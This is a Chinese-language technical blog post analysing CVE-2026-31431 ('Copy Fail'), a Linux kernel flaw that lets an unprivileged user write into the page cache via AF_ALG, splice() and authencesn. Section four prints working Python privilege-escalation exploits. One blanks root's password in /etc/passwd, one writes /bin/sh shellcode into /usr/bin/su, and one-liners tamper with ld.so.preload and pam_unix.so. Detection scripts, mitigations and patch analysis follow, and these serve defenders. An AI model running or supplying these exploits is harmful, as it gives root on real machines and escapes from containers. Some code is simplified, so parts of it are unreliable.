732字节拿下Root:CVE-2026-31431 Copy Fail深度解析——Linux内核页缓存越权写入漏洞的九年潜伏与攻防启示
一、漏洞概览:一场静默的九年风暴
2026年4月29日,安全研究团队Theori公开披露了一个震撼Linux社区的高危漏洞:CVE-2026-31431,代号 Copy Fail。这不是一个普通的安全缺陷——它是一个潜伏了近九年的逻辑漏洞,影响自2017年以来几乎所有的主流Linux发行版。
更令人震惊的是,利用这个漏洞的完整PoC仅有732字节,使用纯Python标准库实现,无需编译、无需特定版本适配,一条命令即可在Ubuntu、RHEL、Amazon Linux、SUSE等系统上从普通用户直接提权至root。
# 732字节的提权脚本核心代码结构
import os, socket
s = socket.socket(38, 5, 0) # AF_ALG, SOCK_SEQPACKET
s.bind(("aead", "authencesn(hmac(sha256),cbc(aes))"))
# ... 后续约700字节完成完整利用
Copy Fail的独特之处:
- 无竞争条件:不同于Dirty Cow需要复杂的竞态条件,Copy Fail是直线的逻辑缺陷
- 跨发行版通用:同一脚本在Ubuntu、RHEL、Amazon Linux、SUSE上均可用
- 绕过文件完整性检测:磁盘文件内容不变,只篡改内存中的页缓存
- 跨容器影响:页缓存是系统全局共享的,容器逃逸成为可能
二、技术背景:三个看似无害的设计决策
要理解Copy Fail的本质,我们需要追溯三个关键的历史设计决策,它们各自都是合理的优化,但组合在一起却形成了致命的安全漏洞。
2.1 AF_ALG:向用户态开放内核加密能力
2015年,Linux内核引入了AF_ALG套接字类型,允许无特权用户直接访问内核的加密子系统。这是一个功能强大的API:
// 用户态可以通过socket直接调用内核加密算法
int alg_socket = socket(AF_ALG, SOCK_SEQPACKET, 0);
bind(alg_socket, "aead", "authencesn(hmac(sha256),cbc(aes))");
// 设置密钥、执行加密/解密操作...
AF_ALG的设计初衷是:
- 提供统一的加密API给用户态程序
- 利用内核的硬件加速支持(AES-NI等)
- 避免用户态实现加密算法的安全风险
关键点:AF_ALG对普通用户完全开放,不需要任何特权。
2.2 splice():零拷贝数据传输
splice()系统调用是Linux的高效数据传输机制,它可以在文件描述符之间移动数据,无需在用户态进行拷贝:
// splice直接传递页缓存引用,而非复制数据
ssize_t splice(int fd_in, loff_t *off_in, int fd_out,
loff_t *off_out, size_t len, unsigned int flags);
当splice将文件内容传输到管道时,它传递的是页缓存页面的引用,而非数据的副本。这意味着:
// 文件的页缓存被直接映射到管道缓冲区
// 后续读取管道时,直接读取的是内核缓存的页面
splice(file_fd, NULL, pipe_wr, NULL, file_size, 0);
关键点:splice传递的是页缓存的引用,不是副本。
2.3 authencesn的ESN支持
2011年,内核添加了authencesn模板,用于IPsec的Extended Sequence Number(ESN)支持。ESN允许IPsec使用64位序列号,而传统格式只能传输32位。
authencesn的设计需要重新排列AAD(关联认证数据)中的序列号字节:
// AAD格式:[seqno_hi (4字节)] [seqno_lo (4字节)] [其他数据...]
// IPsec线格式只传输seqno_lo,seqno_hi需要从AAD头部提取
// authencesn在解密时执行的字节重排:
scatterwalk_map_and_copy(tmp, dst, 0, 8, 0); // 读取AAD前8字节
scatterwalk_map_and_copy(tmp, dst, 4, 4, 1); // 用seqno_hi覆盖dst[4..7]
scatterwalk_map_and_copy(tmp + 1, dst, assoclen + cryptlen, 4, 1); // 写入seqno_lo到边界外!
第三行代码写入了assoclen + cryptlen偏移处——这个位置超出了AEAD输出缓冲区的边界,实际上是在使用目的缓冲区作为"便签空间"(scratch space)。
关键点:authencesn会向目的缓冲区边界外写入4字节。
三、漏洞根源:三重设计的致命交汇
这三个看似无害的设计,在2017年的一个优化提交中汇聚成了灾难性的漏洞。
3.1 2017年的"优化"提交
2017年,为了提高性能,algif_aead.c引入了一个就地操作(in-place)优化:
// commit 72548b093ee3: 优化AEAD操作为就地模式
// 之前的实现:src和dst是独立的散列表
aead_request_set_crypt(req, src_sgl, dst_sgl, cryptlen, iv);
// 优化后:src和dst指向同一个散列表
aead_request_set_crypt(req, combined_sgl, combined_sgl, cryptlen, iv);
这个优化的实现细节:
// 解密操作的数据流:
// 输入SGL: [AAD || 密文 || 认证标签]
// | | ^
// | 拷贝 | | sg_chain (保留页缓存引用)
// v v |
// 输出SGL: [AAD || 明文] ----+
// 关键代码路径:
// 1. AAD和密文从TX SGL拷贝到RX缓冲区(真正的拷贝)
// 2. 认证标签通过sg_chain链接到RX缓冲区末尾(引用传递)
// 3. req->src = req->dst = 合并后的散列表
问题所在:认证标签的页面来自splice传递的文件页缓存引用,而这个散列表现在是可写的。
3.2 漏洞触发链
完整的数据流是这样的:
用户操作序列:
1. sendmsg(req_fd, AAD=[seqno_hi|seqno_lo], MSG_MORE) ← 控制写入内容
2. splice(target_fd → pipe, offset) ← 选择写入位置
3. splice(pipe → req_fd, offset) ← 注入页缓存引用
4. recv(req_fd) ← 触发解密
内核执行路径:
recv() → algif_aead_recvmsg() → crypto_authenc_esn_decrypt()
↓
scatterwalk_map_and_copy(seqno_lo, dst, assoclen + cryptlen, 4, 1)
↓ ↓
写入RX缓冲区边界外 ──────────────→ 页缓存页面(来自splice)
↓
HMAC校验失败,返回EBADMSG错误
↓
但页缓存已被永久篡改!
攻击者可控的三要素:
- 写什么:seqno_lo的4字节来自AAD,完全由攻击者构造
- 写哪里:splice的偏移量决定写入在页缓存中的位置
- 写哪个文件:任何当前用户可读的文件
3.3 为什么如此危险?
Copy Fail的危险性来自多个维度:
1. 绕过所有文件保护机制
// 传统文件保护在Copy Fail面前全部失效:
// - 文件权限检查:只需要读权限
// - SELinux/AppArmor:内核直接操作页缓存,绕过MAC
// - 文件完整性校验:磁盘文件未修改,checksum不变
// - 只读挂载:页缓存是内存数据,与挂载选项无关
2. 不留下磁盘痕迹
# 攻击后的文件状态
$ md5sum /usr/bin/su
abc123... # 与原始文件相同
$ cat /usr/bin/su | xxd | head
# 磁盘上的文件内容完全正常
$ /usr/bin/su
# 但执行时,内核加载的是被篡改的页缓存!
# shellcode已执行,攻击者获得root权限
3. 跨容器影响
// 页缓存是系统全局共享的
// 容器A中修改页缓存 → 容器B、C、D都会看到修改后的内容
// 这是Kubernetes环境中的灾难性场景
四、漏洞利用:从理论到实战
让我们深入分析实际的利用代码。
4.1 基础利用框架
#!/usr/bin/env python3
"""
CVE-2026-31431 Copy Fail 基础利用框架
演示如何通过页缓存越权写入实现提权
"""
import os
import socket
import struct
class CopyFailExploit:
def __init__(self):
# AF_ALG = 38, SOCK_SEQPACKET = 5
self.alg_socket = socket.socket(38, 5, 0)
def setup_aead_context(self):
"""配置AEAD加密上下文"""
# 绑定到authencesn模板
self.alg_socket.bind((
"aead", # 算法类型
"authencesn(hmac(sha256),cbc(aes))" # 具体算法
))
# 设置密钥(密钥内容无关紧要,HMAC必然失败)
key = self._build_authenc_keyblob(
authkey=b'\x00' * 16, # HMAC密钥(16字节)
enckey=b'\x00' * 16 # AES密钥(16字节)
)
self.alg_socket.setsockopt(
socket.SOL_ALG, # = 279
1, # ALG_SET_KEY
key
)
# 设置认证标签大小为4字节
self.alg_socket.setsockopt(
socket.SOL_ALG,
5, # ALG_SET_AEAD_AUTHSIZE
struct.pack('<I', 4)
)
# 接受连接,获取请求socket
self.req_socket = self.alg_socket.accept()[0]
def _build_authenc_keyblob(self, authkey, enckey):
"""构造authenc格式的密钥blob"""
# RTNetlink属性格式
# [rta_len (2B)] [rta_type (2B)] [enckeylen (4B)] [authkey] [enckey]
rta_len = 8 + 4 + len(authkey) + len(enckey)
return struct.pack('<HHI', rta_len, 1, len(enckey)) + authkey + enckey
def write_4bytes(self, target_file, offset, data):
"""
向目标文件的页缓存写入4字节
参数:
target_file: 目标文件路径(需要有读权限)
offset: 写入偏移(4字节对齐)
data: 要写入的4字节数据
"""
# 步骤1:构造AAD,其中bytes[4:8]是要写入的值
aad = b'\x00' * 4 + data # [seqno_hi | seqno_lo(=data)]
# 步骤2:准备控制消息
# 指定解密操作、IV、AAD长度
cmsg = self._build_decrypt_cmsg(iv=b'\x00'*16, assoclen=8)
# 步骤3:发送AAD(使用MSG_MORE标志)
self.req_socket.sendmsg(
[aad],
cmsg,
socket.MSG_MORE
)
# 步骤4:通过splice注入目标文件的页缓存
self._inject_pagecache(target_file, offset)
# 步骤5:触发解密操作
try:
# recv会触发内核的解密流程
# 即使失败(HMAC错误),页缓存也已被修改
self.req_socket.recv(8 + offset)
except OSError:
pass # 预期的EBADMSG错误
def _inject_pagecache(self, target_file, offset):
"""通过splice注入页缓存引用"""
# 打开目标文件(只读即可)
target_fd = os.open(target_file, os.O_RDONLY)
# 创建管道
pipe_rd, pipe_wr = os.pipe()
# splice将文件内容传输到管道
# 这会将页缓存页面引用传递到管道缓冲区
os.splice(target_fd, 0, pipe_wr, None, offset + 4)
# splice将管道内容传输到AF_ALG socket
# 页缓存引用现在在加密子系统的散列表中
os.splice(pipe_rd, None, self.req_socket.fileno(), None, offset + 4)
# 清理
os.close(target_fd)
os.close(pipe_rd)
os.close(pipe_wr)
def _build_decrypt_cmsg(self, iv, assoclen):
"""构造解密操作的控制消息"""
# CMSG格式:操作类型、IV、AAD长度
return [
(socket.SOL_ALG, 2, struct.pack('<I', 0) + iv), # ALG_SET_OP=DECRYPT, IV
(socket.SOL_ALG, 3, struct.pack('<I', assoclen)) # ALG_SET_ASSOCLEN
]
# 使用示例
if __name__ == "__main__":
exploit = CopyFailExploit()
exploit.setup_aead_context()
# 向/etc/passwd写入,移除root密码
# 将 "root:x:0:0:" 改为 "root::0:0:"
exploit.write_4bytes("/etc/passwd", 4, b"::0:")
# 执行su root,无需密码
os.system("su root")
4.2 实战利用:篡改SUID程序
最常见的提权路径是篡改/usr/bin/su等SUID程序:
#!/usr/bin/env python3
"""
通过篡改/usr/bin/su获取root权限的完整利用
"""
import os
import zlib
import socket
# 精心设计的shellcode:执行/bin/sh
# 这是一个简化的示例,实际利用需要更复杂的shellcode
SHELLCODE = bytes([
0x48, 0x31, 0xf6, # xor rsi, rsi
0x48, 0x31, 0xd2, # xor rdx, rdx
0x48, 0x31, 0xc0, # xor rax, rax
0x48, 0xbb, 0x2f, 0x62, 0x69, # mov rbx, "/bin//sh"
0x6e, 0x2f, 0x2f, 0x73, 0x68,
0x53, # push rbx
0x48, 0x89, 0xe7, # mov rdi, rsp
0xb0, 0x3b, # mov al, 59 (execve)
0x0f, 0x05 # syscall
])
def exploit_su():
"""篡改/usr/bin/su的入口点"""
# 1. 设置AF_ALG context
s = socket.socket(38, 5, 0)
s.bind(("aead", "authencesn(hmac(sha256),cbc(aes))"))
s.setsockopt(279, 1, b'\x08\x00\x01\x00\x10\x00\x00\x00' + b'\x00'*32)
s.setsockopt(279, 5, b'\x04\x00\x00\x00')
req = s.accept()[0]
# 2. 计算su入口点偏移(不同版本可能不同)
# 通常在ELF header + 0x1000附近的.text section
entry_offset = 0x1040
# 3. 分块写入shellcode(每4字节一次)
for i in range(0, len(SHELLCODE), 4):
chunk = SHELLCODE[i:i+4]
if len(chunk) < 4:
chunk = chunk + b'\x90' * (4 - len(chunk)) # NOP填充
# 构造操作
send_payload(req, chunk, entry_offset + i)
# 4. 执行被篡改的su
os.execv("/usr/bin/su", ["su"])
def send_payload(req_fd, data, offset):
"""执行单次4字节写入"""
aad = b'\x00\x00\x00\x00' + data
# 构造控制消息(简化版)
# 实际实现需要正确的cmsg格式
# 创建管道并splice
r, w = os.pipe()
target = os.open("/usr/bin/su", os.O_RDONLY)
# 关键:通过splice注入页缓存
os.splice(target, 0, w, None, offset + 4)
os.splice(r, None, req_fd.fileno(), None, offset + 4)
try:
req_fd.recv(8 + offset)
except:
pass
os.close(target)
os.close(r)
os.close(w)
if __name__ == "__main__":
exploit_su()
4.3 其他利用路径
除了篡改SUID程序,Copy Fail还有多种攻击路径:
1. 修改/etc/passwd移除root密码
# 修改前: root:x:0:0:root:/root:/bin/bash
# 修改后: root::0:0:root:/root:/bin/bash (第二个字段为空表示无密码)
exploit.write_4bytes("/etc/passwd", 4, b"::0:")
os.system("su root") # 无需密码直接获取root
2. 注入动态链接器预加载
# 写入/etc/ld.so.preload
exploit.write_4bytes("/etc/ld.so.preload", 0, b"/tmp")
exploit.write_4bytes("/etc/ld.so.preload", 4, b"/evi")
exploit.write_4bytes("/etc/ld.so.preload", 8, b"l.so")
# ... 完整写入恶意库路径
# 之后所有程序执行都会加载恶意库
3. 篡改PAM模块
# 修改pam_unix.so中的认证函数
# 让getuid()总是返回0
exploit.write_4bytes("/usr/lib/security/pam_unix.so", offset, b"\x31\xc0\xc3\x90")
# 任何认证都会通过
五、漏洞检测与防御
5.1 检测系统是否受影响
#!/bin/bash
# CVE-2026-31431 漏洞检测脚本
echo "[*] 检测系统是否存在CVE-2026-31431漏洞..."
# 检查内核版本
KERNEL_VERSION=$(uname -r)
echo "[*] 当前内核版本: $KERNEL_VERSION"
# 检查AF_ALG是否可用
if python3 -c "import socket; s=socket.socket(38,5,0); s.bind(('aead','authencesn(hmac(sha256),cbc(aes))'))" 2>/dev/null; then
echo "[!] 警告: AF_ALG + authencesn 可用,系统可能受影响"
else
echo "[+] 安全: AF_ALG + authencesn 不可用"
fi
# 检查内核配置
CONFIG_FILE="/boot/config-$(uname -r)"
if [ -f "$CONFIG_FILE" ]; then
if grep -q "CONFIG_CRYPTO_USER_API_AEAD=y" "$CONFIG_FILE" || \
grep -q "CONFIG_CRYPTO_USER_API_AEAD=m" "$CONFIG_FILE"; then
echo "[!] 警告: CONFIG_CRYPTO_USER_API_AEAD 已启用"
fi
fi
# 检查algif_aead模块
if lsmod | grep -q algif_aead; then
echo "[!] 警告: algif_aead 模块已加载"
fi
echo "[*] 检测完成"
5.2 紧急缓解措施
方法一:禁用AF_ALG(最彻底)
# 通过seccomp禁止AF_ALG socket创建
# 在容器启动时添加seccomp规则
{
"defaultAction": "SCMP_ACT_ALLOW",
"architectures": ["SCMP_ARCH_X86_64"],
"syscalls": [{
"names": ["socket"],
"action": "SCMP_ACT_ERRNO",
"args": [{
"index": 0,
"value": 38, # AF_ALG
"op": "SCMP_CMP_EQ"
}]
}]
}
方法二:黑名单algif_aead模块
# 创建模块黑名单配置
sudo bash -c 'cat > /etc/modprobe.d/disable-algif-aead.conf << EOF
# 禁用algif_aead模块以防止CVE-2026-31431
install algif_aead /bin/false
blacklist algif_aead
EOF'
# 卸载已加载的模块
sudo rmmod algif_aead 2>/dev/null || true
方法三:清除页缓存(临时恢复)
# 如果怀疑已被攻击,清除所有页缓存
sudo sync
sudo bash -c 'echo 3 > /proc/sys/vm/drop_caches'
# 这会清除被篡改的页缓存,恢复磁盘上的原始内容
5.3 内核补丁分析
官方补丁的核心改动是将AF_ALG AEAD操作从就地模式恢复为非就地模式:
// 补丁前 (commit 72548b093ee3)
// src和dst指向同一个散列表,页缓存页面在可写的dst中
aead_request_set_crypt(&areq->cra_u.aead_req,
areq->first_rsgl.sgl.sgt.sgl, // src = RX SGL
areq->first_rsgl.sgl.sgt.sgl, // dst = RX SGL (same!)
used, ctx->iv);
// 补丁后 (commit a664bf3d603d)
// src指向TX SGL(包含页缓存引用),dst指向RX SGL(用户缓冲区)
// 页缓存页面只在只读的src中,不会被写入
aead_request_set_crypt(&areq->cra_u.aead_req,
tsgl_src, // src = TX SGL (read-only)
areq->first_rsgl.sgl.sgt.sgl, // dst = RX SGL (writable)
used, ctx->iv);
补丁的commit message一针见血:
"There is no benefit in operating in-place in algif_aead since the source and destination come from different mappings."
"在algif_aead中进行就地操作没有好处,因为源和目的来自不同的内存映射。"
这个优化本就不应该存在。
六、安全启示与防御体系建设
6.1 漏洞的历史教训
Copy Fail是一个教科书级别的复合漏洞案例:
2011年: authencesn添加,使用目的缓冲区作为scratch space
↓ (单独看:内部实现细节,无害)
2015年: AF_ALG添加AEAD支持,开放给用户态
↓ (单独看:功能增强,无害)
2017年: algif_aead引入就地操作优化
↓ (单独看:性能优化,无害)
↓
2026年: 三者结合,形成致命漏洞
教训:
- 变更审计必须考虑跨子系统的影响
- 优化的收益必须与风险权衡
- 内核代码需要更严格的边界检查
6.2 防御架构建议
1. 多层防御策略
┌─────────────────────────────────────────────────────────────┐
│ 外部边界防护 │
│ - 网络隔离、入侵检测、访问控制 │
└─────────────────────────────────────────────────────────────┘
↓
┌─────────────────────────────────────────────────────────────┐
│ 内核级防护 │
│ - 及时打补丁、禁用危险接口、seccomp过滤 │
└─────────────────────────────────────────────────────────────┘
↓
┌─────────────────────────────────────────────────────────────┐
│ 文件系统防护 │
│ - 只读挂载关键目录、文件完整性监控(内存+磁盘) │
└─────────────────────────────────────────────────────────────┘
↓
┌─────────────────────────────────────────────────────────────┐
│ 应用层防护 │
│ - 最小权限原则、容器隔离、运行时保护 │
└─────────────────────────────────────────────────────────────┘
2. 页缓存完整性监控
#!/usr/bin/env python3
"""
页缓存完整性检测工具
对比磁盘文件和内存页缓存,检测Copy Fail类攻击
"""
import hashlib
import os
def get_file_disk_hash(filepath):
"""计算磁盘文件哈希"""
with open(filepath, 'rb') as f:
return hashlib.sha256(f.read()).hexdigest()
def get_pagecache_hash(filepath):
"""计算页缓存哈希(通过/proc/self/pagemap)"""
# 实际实现需要更复杂的内核内存读取
# 这里简化为直接读取(会被内核从页缓存提供)
with open(filepath, 'rb') as f:
return hashlib.sha256(f.read()).hexdigest()
def check_integrity(critical_files):
"""检查关键文件完整性"""
for filepath in critical_files:
disk_hash = get_file_disk_hash(filepath)
cache_hash = get_pagecache_hash(filepath)
if disk_hash != cache_hash:
print(f"[!] 警告: {filepath} 页缓存被篡改!")
return False
else:
print(f"[+] {filepath} 完整性正常")
return True
if __name__ == "__main__":
CRITICAL_FILES = [
"/usr/bin/su",
"/usr/bin/sudo",
"/etc/passwd",
"/etc/shadow",
"/etc/ld.so.preload"
]
check_integrity(CRITICAL_FILES)
3. 容器环境特别防护
# Kubernetes Pod安全策略
apiVersion: policy/v1beta1
kind: PodSecurityPolicy
metadata:
name: restricted
spec:
# 禁止创建AF_ALG socket
seccomp:
type: RuntimeDefault
# 或者使用自定义seccomp profile
# blocking socket(AF_ALG, ...)
6.3 安全开发的最佳实践
从Copy Fail中学到的代码安全原则:
1. 边界检查不可省略
// 错误示范
scatterwalk_map_and_copy(tmp, dst, offset, 4, 1); // offset可能越界!
// 正确做法
if (offset + 4 <= dst_len) {
scatterwalk_map_and_copy(tmp, dst, offset, 4, 1);
} else {
return -EINVAL;
}
2. 避免混用引用传递和值传递
// 危险:同一个散列表中既有拷贝的数据,又有引用的页缓存
sg_chain(rx_sgl, tx_sgl); // tx_sgl中的页缓存页面可能被写入!
// 安全:保持分离
// rx_sgl: 用户缓冲区(可写)
// tx_sgl: 输入数据(只读)
3. 安全审计关注跨子系统交互
子系统A的输出 → 子系统B的输入 → 子系统C的处理
↓ ↓ ↓
单独审计 单独审计 单独审计
↓ ↓ ↓
组合审计(经常被忽略!)
七、总结与展望
CVE-2026-31431 Copy Fail是一个震撼性的安全漏洞,它的存在时间之长、利用门槛之低、影响范围之广,都提醒我们:系统安全是一个持续演进的过程,而不是一次性的任务。
7.1 关键要点回顾
| 维度 | 结论 |
|---|---|
| 漏洞性质 | 逻辑缺陷,非竞态条件,100%可重复利用 |
| 影响范围 | 2017-2026年几乎所有主流Linux发行版 |
| 利用难度 | 极低,732字节纯Python脚本 |
| 检测难度 | 高,磁盘文件不变,传统完整性检查失效 |
| 修复方案 | 升级内核,或禁用AF_ALG/authencesn |
7.2 未来趋势
Copy Fail的发现过程(AI辅助的安全研究)揭示了安全领域的新趋势:
- AI驱动的漏洞发现:Theori使用Xint Code工具进行自动化分析,在约1小时内发现了这个潜伏9年的漏洞
- 跨子系统攻击面:未来的漏洞可能更多地出现在不同子系统的交互点
- 内存完整性攻击:页缓存篡改代表了一类新型的攻击向量
7.3 行动建议
对于运维人员:
- 立即检查系统是否受影响
- 应用最新的内核补丁
- 在生产环境部署多层防御
对于开发人员:
- 代码审计关注跨子系统交互
- 避免过度优化牺牲安全性
- 边界检查永远不能省略
对于安全研究人员:
- 关注内存与磁盘不一致的攻击向量
- 利用自动化工具进行大规模代码分析
- 重视长期存在的"无害"代码
参考资源:
本文仅用于安全研究和教育目的。未经授权使用文中描述的技术攻击他人系统属于违法行为。